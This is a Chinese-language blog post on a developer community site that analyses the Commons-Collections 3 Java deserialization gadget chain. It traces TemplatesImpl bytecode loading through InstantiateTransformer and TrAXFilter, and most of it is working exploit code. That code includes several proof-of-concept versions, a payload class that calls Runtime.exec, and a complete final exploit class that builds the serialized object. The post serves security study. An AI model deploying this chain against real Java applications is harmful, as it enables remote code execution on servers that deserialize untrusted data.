AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

Commons-collections3 利用链分析笔记

2023-05-30 97
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： Commons-collections3 利用链分析

类加载

把.java文件编译为.class文件，把字节码中的二进制数据读入到内存中，将其放在运行时数据区的方法区内，然后在堆区创建一个java.lang.Class对象，用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象，Class对象封装了类在方法区内的数据结构，并且向Java程序员提供了访问方法区内的数据结构的接口。

加载class的方式

1.从本地系统中直接加载

2.通过网络下载.class文件

3.从zip，jar等归档文件中加载.class文件

4.从专有数据库中提取.class文件

5.将Java源文件动态编译为.class文件（动态代理生成的及jsp转换为servlet）

类加载过程

类的加载的方式

由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载

CC3 是通过动态类加载的方式执行代码，执行的过程，初始化代码。

寻找入口点

在ClassLoader().loadClass();

640.png

loadClass 会调defineClass

640.png

类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码，需要寻找一个初始化的点，这里从defineClass寻找 public的可重写的方法

TemplatesImpl类

这个类在上篇Fastjson不出网利用总结有提到，本篇会大致分析下在cc中的利用方法

在TemplatesImpl发现了这个defineClass类，没有修饰符，默认在本包中调用，接着寻找

在getTransletInstance发现了defineTransletClasses，并进行了初始化 newInstance()

这里的还是使用private进行修饰，接着找public

640.png

最终在这里找到公有方法，这条链的流程大致如下

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

攻击调用

    TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

    首先利用这个类，需要一些参数，点击newTransformer，486行有三个参数，参数默认为null，不写也可以执行

    接着跟进getTransletInstance方法，判断name参数，为null就返回，这个参数需要写进去，判断class参数为null，则调用defineTransletClasses函数，上面分析了流程，所以这里的class参数不写，就可以进行调用defineTransletClasses

    在接着跟进defineTransletClasses

    bytecodes需要赋值，否则爆出异常

    401行的方法里_tfactory需要调用一个get方法，查看变量，在readObject是一个new函数。

    640.png

    在414行会调用defineClass，方法中有个_bytecodes，查看变量是一个二维数组，前面的class是一个一维数组，在最早的defineClass方法中需要传递一个字节数组，在目前的流程就分析完成，接下来写代码进行测试

    640.png

    编写poc

      TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

      shell.java

      import java.io.IOException;
public class shell  {
    static {
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

      运行报错，打断点调试

      找到问题点了，当前位置已经加载shell类，然后判断这个shell类的父类要等于这个常量，跟进常量，是一个抽象类

      修改shell类，继承AbstractTranslet，并重写两个方法

      再次执行

      使用cc1的前半部分利用链

      TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer  = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(1);



      TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer  = new Transformer[]{
        new ConstantTransformer(templates),
        new InvokerTransformer("newTransformer", null,null),
      };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//        chainedTransformer.transform(1);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
//serializable(o);
unserializable("ser.bin");

      InstantiateTransformer类

      ysoserial中使用了InstantiateTransformer进行调用，跟进这个构造方法，需要传递两个参数，数组和对象

      再跟进newTransformer

      640.png

      发现TrAXFilter构造方法直接传递templates，并直接调用newTransformer

      TrAXFilter没有继承反序列化接口，XMLFilterImpl也没有，但是获取class可以进行反序列化

      那么最终的利用链如下

      前半部分和cc1的一样，只不过是把InvokerTransformer替换为InstantiateTransformer

      InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

      最终exp

      package com.test.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        // name参数
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        // bytecodes参数
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        // 两个数组 从文件读字节码
        byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        // 创建instantiateTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        // 调用TrAXFilter.class
        Transformer[] transformer  = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),instantiateTransformer
        };
        // 动态代理
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        //遍历map
        HashMap<Object,Object> hashedMap = new HashMap();
        hashedMap.put("value","aaa");
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
        // 反射引用AnnotationInvocationHandler
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, map);
        //序列化
//        serializable(o);
        unserializable("ser.bin");
    }
    public static void serializable(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public static  Object unserializable(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

      文章标签：
      Java
      Shell
      fastjson
      程序员
      数据库
      轩公子谈技术
      目录
      相关文章
      1508026077072612
      |
      Java Maven
      JAVA反序列化学习笔记4.Commons Collections2分析
      JAVA反序列化学习笔记4.Commons Collections2分析
      1508026077072612
      64 0
      杀死一只知更鸟debug
      |
      2月前
      |
      Java
      常用工具类-Collections
      本文介绍了Java中Collections工具类的功能和用法，包括对集合进行排序、查找、填充操作，判断集合是否有交集，以及创建不可变集合的方法。通过示例代码展示了如何使用Collections类提供的静态方法，如reverse、shuffle、sort、swap、binarySearch、max、min、fill、frequency、disjoint、emptyList等，突出了Collections类在操作集合时的便利性和实用性。
      杀死一只知更鸟debug
      25 0
      常用工具类-Collections
      hsfxuebao
      |
      5月前
      commons-collections常用工具类
      commons-collections常用工具类
      hsfxuebao
      36 0
      1508026077072612
      |
      安全 Java
      JAVA反序列化学习笔记2.Commons Collections1分析
      JAVA反序列化学习笔记2.Commons Collections1分析
      1508026077072612
      73 0
      1508026077072612
      |
      安全 Java
      JAVA反序列化学习笔记3.Commons Collections5分析
      JAVA反序列化学习笔记3.Commons Collections5分析
      1508026077072612
      60 0
      轩公子谈技术
      |
      安全 Java Maven
      Commons Collections1 利用链分析笔记
      Commons Collections1 利用链分析
      轩公子谈技术
      159 0
      panda墨森
      |
      安全 Java
      Java安全之Commons Collections3分析
      在学习完成前面的CC1链和CC2链后，其实再来看CC3链会比较轻松。
      panda墨森
      78 0
      小蓝枣
      |
      Java
      Java 技术篇-使用poi开源jar包实现读取excel实例演示，poi-3.17.jar获取
      Java 技术篇-使用poi开源jar包实现读取excel实例演示，poi-3.17.jar获取
      小蓝枣
      388 0
      Java 技术篇-使用poi开源jar包实现读取excel实例演示，poi-3.17.jar获取
      勿妄
      |
      Java 数据处理 数据库
      重构：以Java POI 导出EXCEL为例2
      前言 上一篇博文已经将一些对象抽象成成员变量以及将一些代码块提炼成函数。这一节将会继续重构原有的代码，将一些函数抽象成类，增加成员变量，将传入的参数合成类等等。 上一篇博文地址：http://www.cnblogs.
      勿妄
      1274 0
      勿妄
      |
      Java C# C++
      重构：以Java POI 导出EXCEL为例
      重构 开头先抛出几个问题吧，这几个问题也是《重构：改善既有代码的设计》这本书第2章的问题。 什么是重构？ 为什么要重构？ 什么时候要重构？ 接下来就从这几个问题出发，通过这几个问题来系统的了解重构的意义。
      勿妄
      1394 0